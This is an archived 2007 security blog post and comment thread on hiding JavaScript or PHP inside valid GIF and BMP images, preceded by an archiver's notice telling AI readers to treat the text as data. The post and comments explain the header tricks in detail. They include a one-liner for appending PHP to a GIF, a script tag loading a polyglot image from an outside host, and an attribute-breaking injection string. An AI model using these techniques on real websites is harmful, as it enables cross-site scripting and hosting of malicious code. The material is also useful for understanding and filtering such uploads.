Hiding JS in Valid Images

Hiding JS in Valid Images - RSnake, ha.ckers.org.

- Published: 2007-06-23
- Original: <http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/>
- Preserved from: http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/ (manual-import) on 2026-09-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Matteo Carli wrote me today to discuss some RFI and JS stuff. We've been talking a lot about what uploaded images can do lately, but embedded JS is an interesting one for a few reasons. If you needed a drop for a payload, for instance. Here's part of his email (edited slightly for formatting):

> So i created a simple php test like this: `` `php <?php include 'myimage.gif'; ?> ` `` and the result is [like this](http://www.flickr.com/photos/matteocarli/580869084/). Image like this can be saved on hosting site (like imageshack) for using it into RFI attack. Php is not the only language is possible to embed into image, also JavaScript can be embedded, yes it is! There is two big problem with JS and GIF: - special binary char - GIF header I've created [a special GIF image](http://flickr.com/photos/matteocarli/589108973/). To maintain GIF header as original i've added "=1″ so JS engine not consider header chars as not defined variable. For escape special char i've used long comment "/*" and "*/". This image is a valid GIF and valid JS that can be used as script source like: `` `html <script src=myimage.gif> `` I thinks it's useful for evading filter and hosting malicius JS code into wide, well know image hosting site.

The =1 thing is pretty clever and indeed simple things like that can stop a lot of errors from happening (IE is often more strict about that than Firefox but your mileage may vary). Anyway, interesting trick. Nice work by Matteo!

Comments

wesley — June 23rd, 2007 at 12:55 am

Who ever includes images like that??..

Trash — June 23rd, 2007 at 4:17 am

Hello, i just edited a gif image and added the code below... The image will be displayed correct, but if you use it with it only works with IE.. Additionally the size of the image becomes very big... My gif was 12605×10799 ... The size becomes so high because of the =1 at the beginning... But the problem is why it doesn't work for Firefox?

yawnmoth — June 23rd, 2007 at 7:52 am

Why shouldn't you be able to embed images in PHP? It's not PHP's business what extension the file you're using has. If you want to tell a .htaccess file to parse *.gif's as* \.php's by doing "AddType application/x-httpd-php gif", PHP shouldn't stop you.

Plus, it's not really PHP's business what characters are "outside" the script. You, yourself, have multiple **.html files where characters that wouldn't normally appear in* \.html do. The null byte, for one. If you tried to include PHP in http://ha.ckers.org/weird/proxyline.html , would you be all that pleased if PHP refused to run it because you had a null byte outside of the PHP?

If you want to see how to include PHP in a javascript file that can otherwise get past getimagesize, reading the GIF specs, or the JPEG specs, or whatever, would be a good start.

Javascript, I will grant, is a bit different, since you can't normally "break out" of the normal content to run the Javascript...

mgroves — June 23rd, 2007 at 10:50 am

Oh that's crazy! Can you post a few examples to flickr or imageshack?

Trash — June 23rd, 2007 at 11:17 am

here is an example: http://img441.imageshack.us/img441/2048/santatz0.gif

If you open it you cannot see "Santa Claus" because of the high resolution (12605×10799). But if you save it to your harddrive and zoom you'll see it. greetings t.

mgroves — June 23rd, 2007 at 12:08 pm

Trash, I see the javascript, but it's not causing an alert in any of the browsers I've tried (Opera 9, IE 6, IE 7, Firefox 2). Is it causing an alert for you, and if so, which browser?

mgroves — June 23rd, 2007 at 12:10 pm

Nevermind, I figured it out.

Matteo — June 23rd, 2007 at 3:33 pm

Hi, with the example GIF (on Flickr) an alert will be displayed on IE6, IE7, Opera 9, Firefox 1.5 and Firefox 2.0. Another browser not tested.

The really problem of this trick is final image resolution.

Michael Schramm — June 24th, 2007 at 12:16 am

Yes, that's interesting! But what's the real difference to what I've posted already a few weeks ago (http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/)?

Stefan Esser — June 24th, 2007 at 2:20 am

Michael,

PHP will ignore all characters outside of the PHP tags. JavaScript doesn't.

Your claim that PHP will not accept images because of 0 bytes is wrong. You can "embedd" PHP code into valid images as simple as:

```
cat my.gif my.php > evil.gif
php evil.gif
```

Your complicated method is not needed at all (beside the fact that this is done for years and is nothing new)

Either your PHP setup is very untypical or you maybe had a

Chris — June 24th, 2007 at 2:35 am

i'm confused, none of the links do anything. using ie6 or firefox. even added all these domains to my trusted sites in ie6 :s . the flickr ones say jpg anyway not gif :\

Trash — June 24th, 2007 at 6:20 am

It only works for me with IE 6.0 (2900.2180) SP 2. The problem with this trick is that nobody uses … everybody makes

niv — June 24th, 2007 at 9:22 am

Trash, the image you have posted is shown correctly.. but the alert never comes up. Tried IE and Firefox. Hosted it on my server.

Michael Schramm — June 24th, 2007 at 12:49 pm

Stefan,

I've tried it with a standard apache/php installation from apachefriends.org and php definitely claimed about the 0-bytes outside of the PHP-Tags :)

RSnake — June 24th, 2007 at 5:44 pm

@niv - this is meant to be called remotely with something like:

```
<script src=http://img441.imageshack.us/img441/2048/santatz0.gif></script>
```

thornmaker — June 25th, 2007 at 12:24 am

> But the problem is why it doesn't work for Firefox?

Trash: There were a few characters at the end that were not escaped. I think you were missing a closing */ at the end of your gif, or something like that. Matteo's screenshot had one at the end at least. When I modified your image to just comment everything out using a //, and no new line characters, at the end, then it works for me in both firefox 2.0.0.4 and IE 6.0.2900.

Matteo: regarding the file size, the \x31 is not needed in the opening, so you have some wiggle room. some variations include: x=/\, =/*x *and* =x/\ where x is some char. unfortunately, the /* have to be together making any image have at least a really large width or height, as far as I can tell.

thornmaker — June 25th, 2007 at 1:39 am

you can also use (" in the opening rather then =/* if you are willing to sacrifice all new line characters in your image and double quotes. for my demo image, it screwed up the gif a bit, but there are perhaps clever ways around this so the image looks normal still. Using this, you have a bit more wiggle room in terms of keeping the file size moderate. however, (and " still have to go together usually, unless you put a space char between them, but the file width will still be big then. demo image at: http://img508.imageshack.us/img508/8362/rsso2.gif

x-tense — June 25th, 2007 at 6:22 am

hi,

I tried to write as your examples php and js in .gif pictures but I never see phpinfo() or alert.

please, can you post your image http://farm2.static.flickr.com/1394/580869084_22d57dc2a6.jpg?v=0 or a link with a .htm wich includes a .gif to see the result.

Thx a lot

thornmaker — June 25th, 2007 at 8:52 am

Here's an example with a .bmp file... the image looks normal (no funny scaling) in both firefox and IE, though IE renders it incorrectly even before I messed with the file, and the xss will fire in both firefox and IE.

http://p42.us/rs_bmp/rs.bmp http://p42.us/rs_bmp/rs.html

Matteo — June 25th, 2007 at 11:11 am

@thornmaker:

the trick works better also with BMP, nice work. BMP as GIF hasn't non printable chars in the header. I think BMP is more flexible than GIF because its header is: *offset: 0 - size 2: signature, must be "BM" in ASCII *offset: 2 - size 4: size of BMP file in bytes (not used in fact) *offset: 6 - size 2: reserved, must be zero

The "size of BMP" is very useful for inject "=/*" chars.

x-tense — June 25th, 2007 at 11:17 am

I tried in the .gif : GIF89a=1/* data *\/javascript:alert('OMG');/*data* \/ in the .html :

but there is the picture on FF and IE6

I don't understand why, because javascript would be executed on IE6 in the src. Do you know the problem?

(if I write in the .html it's ok)

sampson — June 25th, 2007 at 2:42 pm

does anyone know a good bmp hosting site that doesnt convert your images to png or jpeg?

RSnake — June 25th, 2007 at 3:26 pm

What do you know that we don't? ;)

thornmaker — June 25th, 2007 at 5:56 pm

have you tried asking a pirate? http://bayimg.com/

sampson — June 25th, 2007 at 10:17 pm

in fact I have,

bayimg converts everything to jpeg

Sergey Vzloman — June 26th, 2007 at 12:38 am

image + embedded HTML = XSS :)

thornmaker — June 26th, 2007 at 5:45 am

Ah, my bad. i should have checked the filetype after uploading.

rarely.greys — June 26th, 2007 at 8:49 am

A good hosting site that works with these injected GIFs is http://imgplace.com (claims unlimited bandwidth) or http://freeimagehosting.net

Milan Cvejic — June 27th, 2007 at 1:57 am

I am wandering, is it possible to put tag inside image, so it will be possible to inject code where script tag is stripped or ignored...

nitro2k01 — June 27th, 2007 at 9:19 am

Although being a technically interesting topic, I don't see any practical use for these embedding techniques. Any image hosting site with respect should use readfile rather than include to dump files, so the PHP is probably pretty useless.

As for the js hack I don't see why anyone would allow the script tag but block the .js extension. And if that exists somewhere, why not find some free web/file host and upload the file with another

extension? Or none at all by naming it index.php/html and placing it in a directory.

The only little use I can see for it is if you can enter an image URL and enter something like: bla.gif”>

nitro2k01 — June 27th, 2007 at 9:20 am

Ooops, I knew that would happen! [and] correspond to tags below.

bla.gif”][script src=”http://foo.com/bar.js

anathema — June 28th, 2007 at 11:34 am

I’m trying to do the same with PNG file formats but I keep getting corrupt images, I’m sure its to do with me either putting =1 or =0 after the PNG part of the header?, any clues as to how the png header should look, if it is at all possible?

thornmaker — July 1st, 2007 at 10:19 pm

I looked at doing this with PNGs as well, but the format of the header makes this particular hack not work. Read http://www.w3.org/TR/PNG-Structure.html for more info on PNG headers and chunks.
